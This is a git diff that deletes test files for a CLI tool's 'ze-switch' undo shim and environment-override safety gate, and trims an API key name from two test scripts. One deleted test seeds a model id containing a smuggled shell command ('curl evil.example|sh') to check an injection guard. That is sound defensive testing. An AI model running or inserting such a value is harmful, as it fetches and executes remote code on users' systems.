- test('enabled:false WINS over a lingering model id — prints --reranker off', async () => {
- // The pre-switch brain had reranking disabled with a model still set (the
- // documented set-model-first intermediate state). `--reranker <model>`
- // would re-enable it; fidelity demands off.
- await seedAppliedSwitch({ search_reranker_enabled: false, search_reranker_model: 'voyage:rerank-2.5' });
- const r = await captureExit(() => runZeSwitch(['--undo'], engine));
- expect(r.exitCode).toBe(1);
- expect(r.stderr).toContain('--reranker off');
- expect(r.stderr).not.toContain('--reranker voyage:rerank-2.5');
- });
-
- test('enabled with no model: no --reranker token (migration default applies)', async () => {
- await seedAppliedSwitch({ search_reranker_enabled: true, search_reranker_model: null });
- const r = await captureExit(() => runZeSwitch(['--undo'], engine));
- expect(r.exitCode).toBe(1);
- expect(r.stderr).toContain('gbrain migrate embeddings --to openai:text-embedding-3-large --dim 1536');
- expect(r.stderr).not.toContain('--reranker');
- });
-
- test('junk-typed dims in the snapshot degrade to the refusal (never printed)', async () => {
- await seedAppliedSwitch({ embedding_dimensions: 'abc' as unknown as number });
- const r = await captureExit(() => runZeSwitch(['--undo', '--json'], engine));
- expect(r.exitCode).toBe(1);
- const env = JSON.parse(r.stdout);
- expect(env.status).toBe('refused');
- expect(r.stdout).not.toContain('--dim abc');
- });
-
- test('shell-metachar model id in the snapshot degrades to the refusal (injection guard)', async () => {
- await seedAppliedSwitch({ embedding_model: 'x; curl evil.example|sh' });
- const r = await captureExit(() => runZeSwitch(['--undo', '--json'], engine));
- expect(r.exitCode).toBe(1);
- const env = JSON.parse(r.stdout);
- expect(env.status).toBe('refused');
- expect(r.stdout).not.toContain('curl evil.example');
- });
-
- test('a throwing engine.getConfig degrades to the refusal, not a crash', async () => {
- const broken = { getConfig: () => Promise.reject(new Error('db exploded')) } as unknown as PGLiteEngine;
- const r = await captureExit(() => runZeSwitch(['--undo', '--json'], broken));
- expect(r.exitCode).toBe(1);
- const env = JSON.parse(r.stdout);
- expect(env.status).toBe('refused');
- expect(env.reason).toBe('provider_sunset');
- });
-
- test('--undo --json emits the redirected envelope with live + preview commands', async () => {
- await seedAppliedSwitch();
- const r = await captureExit(() => runZeSwitch(['--undo', '--json'], engine));
- expect(r.exitCode).toBe(1);
- const env = JSON.parse(r.stdout);
- expect(env.status).toBe('redirected');
- expect(env.reason).toBe('provider_sunset');
- // undo_command is the LIVE command (an agent executing it must actually
- // migrate, not exit-0 on a preview); undo_preview carries --dry-run.
- expect(env.undo_command).toContain('gbrain migrate embeddings --to openai:text-embedding-3-large --dim 1536');
- expect(env.undo_command).not.toContain('--dry-run');
- expect(env.undo_preview).toContain('--dry-run');
- });
-
- test('nested model ids (ollama tag / openrouter path) validate and redirect', async () => {
- await seedAppliedSwitch({ embedding_model: 'ollama:nomic-embed-text:v1.5' });
- let r = await captureExit(() => runZeSwitch(['--undo'], engine));
- expect(r.exitCode).toBe(1);
- expect(r.stderr).toContain('--to ollama:nomic-embed-text:v1.5');
-
- await seedAppliedSwitch({ embedding_model: 'openrouter:google/gemma-2-9b' });
- r = await captureExit(() => runZeSwitch(['--undo'], engine));
- expect(r.stderr).toContain('--to openrouter:google/gemma-2-9b');
- });
-
- test('string "false" reranker-enabled fails validation (would re-enable a paid reranker)', async () => {
- await seedAppliedSwitch({ search_reranker_enabled: 'false' as unknown as boolean, search_reranker_model: 'voyage:rerank-2.5' });
- const r = await captureExit(() => runZeSwitch(['--undo', '--json'], engine));
- expect(r.exitCode).toBe(1);
- expect(JSON.parse(r.stdout).status).toBe('refused');
- });
-
- test('--json=true spelling is honored (mirrors cli.ts convention)', async () => {
- const r = await captureExit(() => runZeSwitch(['--dry-run', '--json=true'], engine));
- expect(r.exitCode).toBe(1);
- const env = JSON.parse(r.stdout);
- expect(env.status).toBe('refused');
- });
-
- test('without a snapshot: refuses with the canonical migration', async () => {
- const r = await captureExit(() => runZeSwitch(['--undo'], engine));
- expect(r.exitCode).toBe(1);
- expect(r.stderr).toContain('No prior switch snapshot recorded');
- expect(r.stderr).toContain('gbrain migrate embeddings --to voyage:voyage-4 --dim 1024');
- });
-
- test('with a corrupt snapshot: degrades to the refusal, no crash', async () => {
- await engine.setConfig(KEY_PREVIOUS_SNAPSHOT, '{not json');
- const r = await captureExit(() => runZeSwitch(['--undo', '--json'], engine));
- expect(r.exitCode).toBe(1);
- const env = JSON.parse(r.stdout);
- expect(env.status).toBe('refused');
- expect(env.reason).toBe('provider_sunset');
- });
-
- test('legacy scripted undo spelling gets guidance, not action', async () => {
- await seedAppliedSwitch();
- const r = await captureExit(() =>
- runZeSwitch(['--undo', '--non-interactive', '--confirm-reembed'], engine),
- );
- expect(r.exitCode).toBe(1);
- expect(r.stderr).toContain('gbrain migrate embeddings --to openai:text-embedding-3-large');
- // The retired action would have reverted config; the shim must not:
- expect(await engine.getConfig('embedding_model')).toBe('zeroentropyai:zembed-1');
- });
-
- test('a failed --undo never points back at --undo (guidance-loop guard)', async () => {
- const r = await captureExit(() => runZeSwitch(['--undo'], engine));
- expect(r.exitCode).toBe(1);
- expect(r.stderr).not.toContain('gbrain ze-switch --undo');
- });
-});
-
-describe('buildUndoCommands (pure builder)', () => {
- const snap = {
- embedding_model: 'openai:text-embedding-3-large',
- embedding_dimensions: 1536,
- search_reranker_enabled: false,
- search_reranker_model: null,
- };
-
- test('carries the explicit --brain selector into BOTH commands', () => {
- // --brain is stripped pre-dispatch by the global option layer; without
- // this, `ze-switch --brain team-x --undo` reads team-x's snapshot but the
- // printed command re-embeds the DEFAULT brain (paid work, wrong corpus).
- const { live, preview } = buildUndoCommands(snap, ' --brain team-x');
- expect(live).toContain('--brain team-x');
- expect(preview).toContain('--brain team-x');
- expect(preview).toContain('--dry-run');
- expect(live).not.toContain('--dry-run');
- });
-
- test('no brain selector → no --brain token', () => {
- const { live } = buildUndoCommands(snap, '');
- expect(live).not.toContain('--brain');
- });
-});
-
-describe('registry + dispatch contract (the layer in-process calls bypass)', () => {
- test('every retired flag is in the generated ze-switch registry row', () => {
- // The refusal-instead-of-unknown-flag promise lives in the GENERATED row,
- // not in the shim: a help-copy trim that dropped the quoted literals
- // would regenerate the row without them and old scripts would die
- // pre-dispatch. This pin makes that failure loud.
- const row = CLI_FLAG_REGISTRY['ze-switch'] ?? [];
- for (const f of RETIRED_FLAGS) {
- expect(row).toContain(f);
- }
- });
-
- test('spawned CLI: a retired flag reaches the refusal even with NO brain configured', async () => {
- const home = mkdtempSync(join(tmpdir(), 'gbrain-zeswitch-nobrain-'));
- const env: Record<string, string | undefined> = { ...process.env, GBRAIN_HOME: home };
- delete env.GBRAIN_DATABASE_URL;
- delete env.DATABASE_URL;
- const proc = Bun.spawn(['bun', '--no-env-file', 'run', 'src/cli.ts', 'ze-switch', '--resume'], {
- cwd: REPO,
- env,
- stdout: 'pipe',
- stderr: 'pipe',
- });
- const [out, err] = await Promise.all([
- new Response(proc.stdout).text(),
- new Response(proc.stderr).text(),
- ]);
- const code = await proc.exited;
- const all = out + err;
- expect(code).toBe(1);
- expect(all).not.toContain('unknown flag');
- expect(all).not.toContain('No brain configured');
- expect(all).toContain('gbrain migrate embeddings --to voyage:voyage-4 --dim 1024');
- }, 30_000);
-
- test('spawned CLI: --undo --json on a brainless machine still gets the envelope', async () => {
- // connectEngine would print plain "No brain configured" and exit before
- // the shim ran — the dispatch pre-checks config and degrades to a null
- // engine so --json callers always get machine-readable truth.
- const home = mkdtempSync(join(tmpdir(), 'gbrain-zeswitch-undo-'));
- const env: Record<string, string | undefined> = { ...process.env, GBRAIN_HOME: home };
- delete env.GBRAIN_DATABASE_URL;
- delete env.DATABASE_URL;
- const proc = Bun.spawn(['bun', '--no-env-file', 'run', 'src/cli.ts', 'ze-switch', '--undo', '--json'], {
- cwd: REPO,
- env,
- stdout: 'pipe',
- stderr: 'pipe',
- });
- const [out] = await Promise.all([new Response(proc.stdout).text(), new Response(proc.stderr).text()]);
- const code = await proc.exited;
- expect(code).toBe(1);
- const envlp = JSON.parse(out.trim().split('\n').pop()!);
- expect(envlp.status).toBe('refused');
- expect(envlp.reason).toBe('provider_sunset');
- }, 30_000);
-});
diff --git a/test/ze-switch-env-override.test.ts b/test/ze-switch-env-override.test.ts
deleted file mode 100644
index b9eebe6dc9..0000000000
--- a/test/ze-switch-env-override.test.ts
+++ /dev/null
@@ -1,327 +0,0 @@
-// v0.41.2.1 — ze-switch env-override safety gate (D3 + D9 #6, #7, #8).
-//
-// Pinned contracts:
-// - detectEnvOverride pure function (no env mutation; tests pass env arg)
-// - formatEnvOverrideWarning produces ASCII-only box ≤78 cols
-// - applyRetrievalUpgrade gate fires FIRST (NO setConfig calls when refused)
-// - resumeRetrievalUpgrade gate fires FIRST (refused too, no schema mutation)
-// - --ignore-env-override escape hatch bypasses both gates
-// - ApplyResult tagged union extends with {status:'refused', reason, warning}
-//
-// Hermetic: PGLite + withEnv() per CLAUDE.md R1/R3/R4. No DATABASE_URL needed.
-
-import { describe, test, expect, beforeAll, afterAll, beforeEach } from 'bun:test';
-import { PGLiteEngine } from '../src/core/pglite-engine.ts';
-import {
- detectEnvOverride,
- formatEnvOverrideWarning,
- applyRetrievalUpgrade,
- resumeRetrievalUpgrade,
- planRetrievalUpgrade,
- KEY_REQUESTED,
- KEY_APPLIED,
- KEY_PREVIOUS_SNAPSHOT,
- ZE_TARGET_EMBEDDING_MODEL,
- ZE_TARGET_EMBEDDING_DIM,
-} from '../src/core/retrieval-upgrade-planner.ts';
-import { resetPgliteState } from './helpers/reset-pglite.ts';
-import { withEnv } from './helpers/with-env.ts';
-
-let engine: PGLiteEngine;
-
-beforeAll(async () => {
- engine = new PGLiteEngine();
- await engine.connect({});
- await engine.initSchema();
-}, 60000);
-
-afterAll(async () => {
- await engine.disconnect();
-});
-
-beforeEach(async () => {
- await resetPgliteState(engine);
-});
-
-// ─── detectEnvOverride: pure function tests (no env mutation needed) ────
-
-describe('detectEnvOverride (pure)', () => {
- test('triggered:false when env unset', () => {
- const w = detectEnvOverride('zeroentropyai:zembed-1', 1280, {});
- expect(w.triggered).toBe(false);
- expect(w.vars).toEqual([]);
- });
-
- test('triggered:false when env matches target exactly', () => {
- const w = detectEnvOverride('zeroentropyai:zembed-1', 1280, {
- GBRAIN_EMBEDDING_MODEL: 'zeroentropyai:zembed-1',
- GBRAIN_EMBEDDING_DIMENSIONS: '1280',
- });
- expect(w.triggered).toBe(false);
- });
-
- test('triggered:true on GBRAIN_EMBEDDING_MODEL mismatch (1 var)', () => {
- const w = detectEnvOverride('zeroentropyai:zembed-1', 1280, {
- GBRAIN_EMBEDDING_MODEL: 'openai:text-embedding-3-large',
- });
- expect(w.triggered).toBe(true);
- expect(w.vars).toHaveLength(1);
- expect(w.vars[0].name).toBe('GBRAIN_EMBEDDING_MODEL');
- expect(w.vars[0].current).toBe('openai:text-embedding-3-large');
- expect(w.vars[0].target).toBe('zeroentropyai:zembed-1');
- });
-
- test('GBRAIN_EMBEDDING_DIMENSIONS string-vs-number comparison works', () => {
- const w = detectEnvOverride('zeroentropyai:zembed-1', 1280, {
- GBRAIN_EMBEDDING_DIMENSIONS: '1536',
- });
- expect(w.triggered).toBe(true);
- expect(w.vars[0].name).toBe('GBRAIN_EMBEDDING_DIMENSIONS');
- expect(w.vars[0].current).toBe('1536');
- expect(w.vars[0].target).toBe('1280');
- });
-
- test('NaN dim treated as mismatch (defensive)', () => {
- const w = detectEnvOverride('zeroentropyai:zembed-1', 1280, {
- GBRAIN_EMBEDDING_DIMENSIONS: 'not-a-number',
- });
- expect(w.triggered).toBe(true);
- expect(w.vars[0].current).toBe('not-a-number');
- });
-
- test('both vars set + both mismatched → 2 entries', () => {
- const w = detectEnvOverride('zeroentropyai:zembed-1', 1280, {
- GBRAIN_EMBEDDING_MODEL: 'openai:text-embedding-3-large',
- GBRAIN_EMBEDDING_DIMENSIONS: '1536',
- });
- expect(w.triggered).toBe(true);
- expect(w.vars).toHaveLength(2);
- });
-
- test('empty-string env values treated as unset (no false-trigger)', () => {
- const w = detectEnvOverride('zeroentropyai:zembed-1', 1280, {
- GBRAIN_EMBEDDING_MODEL: '',
- GBRAIN_EMBEDDING_DIMENSIONS: ' ',
- });
- expect(w.triggered).toBe(false);
- });
-});
-
-// ─── formatEnvOverrideWarning: pure rendering ──────────────────────────
-
-describe('formatEnvOverrideWarning', () => {
- test('produces ASCII-only box (no Unicode box-drawing per repo D10)', () => {
- const out = formatEnvOverrideWarning({
- triggered: true,
- vars: [{ name: 'GBRAIN_EMBEDDING_MODEL', current: 'openai:x', target: 'zeroentropyai:zembed-1' }],
- });
- // Should NOT contain any Unicode box-drawing characters
- expect(out).not.toMatch(/[╔╗╚╝═║╠╣╦╩╬]/);
- // Should contain ASCII box characters
- expect(out).toMatch(/[+|-]/);
- });
-
- test('every line is ≤ 78 cols (terminal-safe)', () => {
- const out = formatEnvOverrideWarning({
- triggered: true,
- vars: [
- { name: 'GBRAIN_EMBEDDING_MODEL', current: 'openai:text-embedding-3-large', target: 'zeroentropyai:zembed-1' },
- { name: 'GBRAIN_EMBEDDING_DIMENSIONS', current: '1536', target: '1280' },
- ],
- });
- for (const line of out.split('\n')) {
- expect(line.length).toBeLessThanOrEqual(78);
- }
- });
-
- test('names every var by exact key', () => {
- const out = formatEnvOverrideWarning({
- triggered: true,
- vars: [
- { name: 'GBRAIN_EMBEDDING_MODEL', current: 'a', target: 'b' },
- { name: 'GBRAIN_EMBEDDING_DIMENSIONS', current: 'c', target: 'd' },
- ],
- });
- expect(out).toContain('GBRAIN_EMBEDDING_MODEL');
- expect(out).toContain('GBRAIN_EMBEDDING_DIMENSIONS');
- });
-
- test('includes paste-ready `unset` command listing every var', () => {
- const out = formatEnvOverrideWarning({
- triggered: true,
- vars: [
- { name: 'GBRAIN_EMBEDDING_MODEL', current: 'a', target: 'b' },
- { name: 'GBRAIN_EMBEDDING_DIMENSIONS', current: 'c', target: 'd' },
- ],
- });
- expect(out).toContain('unset GBRAIN_EMBEDDING_MODEL GBRAIN_EMBEDDING_DIMENSIONS');
- });
-});
-
-// ─── applyRetrievalUpgrade integration (D9 #7 — gate fires FIRST) ──────
-
-describe('applyRetrievalUpgrade env-gate (D9 #7)', () => {
- test('refused on env-triggered apply; ZERO setConfig calls fired', async () => {
- await withEnv({ GBRAIN_EMBEDDING_MODEL: 'openai:text-embedding-3-large' }, async () => {
- // Spy on engine.setConfig
- const setConfigSpy: string[] = [];
- const realSetConfig = engine.setConfig.bind(engine);
- (engine as unknown as { setConfig: typeof engine.setConfig }).setConfig =
- async (key: string, val: string) => {
- setConfigSpy.push(key);
- return realSetConfig(key, val);
- };
-
- try {
- // Force an eligible plan by seeding the legacy default + enough pages.
- await engine.setConfig('embedding_model', 'openai:text-embedding-3-large');
- // Seed 101 pages to clear the ZE_MIN_PAGES_FOR_OFFER threshold.
- for (let i = 0; i < 101; i++) {
- await engine.putPage(`note/seed-${i}`, {
- type: 'note' as never,
- title: `seed-${i}`,
- compiled_truth: 'x',
- timeline: '',
- });
- }
- // Reset the spy AFTER the setup writes
- setConfigSpy.length = 0;
-
- const plan = await planRetrievalUpgrade(engine);
- expect(plan.ze_switch_offered).toBe(true);
-
- const result = await applyRetrievalUpgrade(engine, plan);
- expect(result.status).toBe('refused');
- if (result.status === 'refused') {
- expect(result.reason).toBe('env_override');
- expect(result.warning.triggered).toBe(true);
- expect(result.warning.vars[0].name).toBe('GBRAIN_EMBEDDING_MODEL');
- }
- // THE LOAD-BEARING ASSERTION: no setConfig calls fired during the
- // refused apply. Pre-fix, KEY_PREVIOUS_SNAPSHOT and KEY_REQUESTED
- // were written BEFORE the warning gate, leaving the brain in a
- // half-applied state. Now: zero mutations on refusal.
- expect(setConfigSpy).toEqual([]);
-
- // Direct evidence: KEY_REQUESTED + KEY_PREVIOUS_SNAPSHOT unset
- const requested = await engine.getConfig(KEY_REQUESTED);
- const snapshot = await engine.getConfig(KEY_PREVIOUS_SNAPSHOT);
- expect(requested).toBeNull();
- expect(snapshot).toBeNull();
- } finally {
- (engine as unknown as { setConfig: typeof engine.setConfig }).setConfig = realSetConfig;
- }
- });
- });
-
- test('--ignore-env-override proceeds with apply when env triggered', async () => {
- await withEnv({ GBRAIN_EMBEDDING_MODEL: 'openai:text-embedding-3-large' }, async () => {
- await engine.setConfig('embedding_model', 'openai:text-embedding-3-large');
- for (let i = 0; i < 101; i++) {
- await engine.putPage(`note/x-${i}`, {
- type: 'note' as never,
- title: `x-${i}`,
- compiled_truth: 'c',
- timeline: '',
- });
- }
- const plan = await planRetrievalUpgrade(engine);
- const result = await applyRetrievalUpgrade(engine, plan, { ignoreEnvOverride: true });
- expect(result.status).toBe('applied');
- const appliedFlag = await engine.getConfig(KEY_APPLIED);
- expect(appliedFlag).toBe('true');
- });
- });
-
- test('env not triggered → proceeds silently (no env vars set)', async () => {
- // No env vars at all
- await withEnv(
- { GBRAIN_EMBEDDING_MODEL: undefined, GBRAIN_EMBEDDING_DIMENSIONS: undefined },
- async () => {
- await engine.setConfig('embedding_model', 'openai:text-embedding-3-large');
- for (let i = 0; i < 101; i++) {
- await engine.putPage(`note/y-${i}`, {
- type: 'note' as never,
- title: `y-${i}`,
- compiled_truth: 'c',
- timeline: '',
- });
- }
- const plan = await planRetrievalUpgrade(engine);
- const result = await applyRetrievalUpgrade(engine, plan);
- expect(result.status).toBe('applied');
- },
- );
- });
-
- test('result tagged union shape pinned (TypeScript discriminator + runtime)', async () => {
- await withEnv({ GBRAIN_EMBEDDING_MODEL: 'openai:other-model' }, async () => {
- await engine.setConfig('embedding_model', 'openai:text-embedding-3-large');
- for (let i = 0; i < 101; i++) {
- await engine.putPage(`note/z-${i}`, {
- type: 'note' as never,
- title: `z-${i}`,
- compiled_truth: 'c',
- timeline: '',
- });
- }
- const plan = await planRetrievalUpgrade(engine);
- const result = await applyRetrievalUpgrade(engine, plan);
- expect(result.status).toBe('refused');
- // Type narrowing: runtime + TS check
- if (result.status === 'refused') {
- expect(result.reason).toBe('env_override');
- expect(Array.isArray(result.warning.vars)).toBe(true);
- expect(result.plan).toBeDefined();
- }
- });
- });
-});
-
-// ─── resumeRetrievalUpgrade env-gate (D9 #6 — same gate, no bypass) ────
-
-describe('resumeRetrievalUpgrade env-gate (D9 #6)', () => {
- test('refused on env-triggered resume; ZERO schema-mutation setConfig calls fired', async () => {
- // Set up a half-applied state: requested=true, applied=false.
- // Then run resume with env override set.
- await engine.setConfig(KEY_REQUESTED, 'true');
- await engine.setConfig('embedding_model', 'openai:text-embedding-3-large');
-
- await withEnv({ GBRAIN_EMBEDDING_MODEL: 'openai:still-old-model' }, async () => {
- const setConfigSpy: string[] = [];
- const realSetConfig = engine.setConfig.bind(engine);
- (engine as unknown as { setConfig: typeof engine.setConfig }).setConfig =
- async (key: string, val: string) => {
- setConfigSpy.push(key);
- return realSetConfig(key, val);
- };
-
- try {
- const result = await resumeRetrievalUpgrade(engine);
- expect(result.status).toBe('refused');
- if (result.status === 'refused') {
- expect(result.reason).toBe('env_override');
- }
- // No setConfig calls fired (no schema-completion writes happened)
- expect(setConfigSpy).toEqual([]);
- // APPLIED stays NOT-set
- const applied = await engine.getConfig(KEY_APPLIED);
- expect(applied).toBeNull();
- } finally {
- (engine as unknown as { setConfig: typeof engine.setConfig }).setConfig = realSetConfig;
- }
- });
- });
-
- test('--ignore-env-override proceeds with resume', async () => {
- await engine.setConfig(KEY_REQUESTED, 'true');
- await engine.setConfig('embedding_model', 'openai:text-embedding-3-large');
-
- await withEnv({ GBRAIN_EMBEDDING_MODEL: 'openai:still-old' }, async () => {
- const result = await resumeRetrievalUpgrade(engine, { ignoreEnvOverride: true });
- expect(result.status).toBe('applied');
- const appliedFlag = await engine.getConfig(KEY_APPLIED);
- expect(appliedFlag).toBe('true');
- });
- });
-});
diff --git a/tests/docker/bootstrap-e2e-inner.sh b/tests/docker/bootstrap-e2e-inner.sh
index d6a114cda4..2169e97759 100644
--- a/tests/docker/bootstrap-e2e-inner.sh
+++ b/tests/docker/bootstrap-e2e-inner.sh
@@ -30,7 +30,7 @@ export GBRAIN_HOME="${GBRAIN_HOME:-$SCRATCH/gb}"
export TMPDIR="${TMPDIR:-$SCRATCH}"
export GBRAIN_SKIP_STARTUP_HOOKS=1
# Keyless by construction: strip any provider keys the runner env leaked in.
-unset OPENAI_API_KEY ANTHROPIC_API_KEY VOYAGE_API_KEY ZEROENTROPY_API_KEY \
+unset OPENAI_API_KEY ANTHROPIC_API_KEY VOYAGE_API_KEY \
OPENROUTER_API_KEY DASHSCOPE_API_KEY GOOGLE_GENERATIVE_AI_API_KEY \
GEMINI_API_KEY DATABASE_URL GBRAIN_DATABASE_URL GBRAIN_BRAIN_ID 2>/dev/null || true
diff --git a/tests/heavy/frontmatter_scan_wallclock.sh b/tests/heavy/frontmatter_scan_wallclock.sh
index ecbdfa539f..644cc3f51a 100755
--- a/tests/heavy/frontmatter_scan_wallclock.sh
+++ b/tests/heavy/frontmatter_scan_wallclock.sh
@@ -85,7 +85,7 @@ echo "[fm_wallclock] fixture seeded in ${SEED_ELAPSED}s" | tee -a "$LOG"
# Step 2: init brain + register the source.
# `--no-embedding` opts out of the embedding-provider hard-require (v0.37 D9).
# This script measures doctor's frontmatter-scan wallclock — it never embeds —
-# so the CI runner doesn't need OPENAI_API_KEY / ZEROENTROPY_API_KEY / VOYAGE_API_KEY.
+# so the CI runner doesn't need OPENAI_API_KEY / VOYAGE_API_KEY.
echo "[fm_wallclock] init brain..." | tee -a "$LOG"
timeout 120s bun run src/cli.ts init --pglite --non-interactive --no-embedding >> "$LOG" 2>&1 || {
echo "[fm_wallclock] FAIL: gbrain init exited non-zero" >&2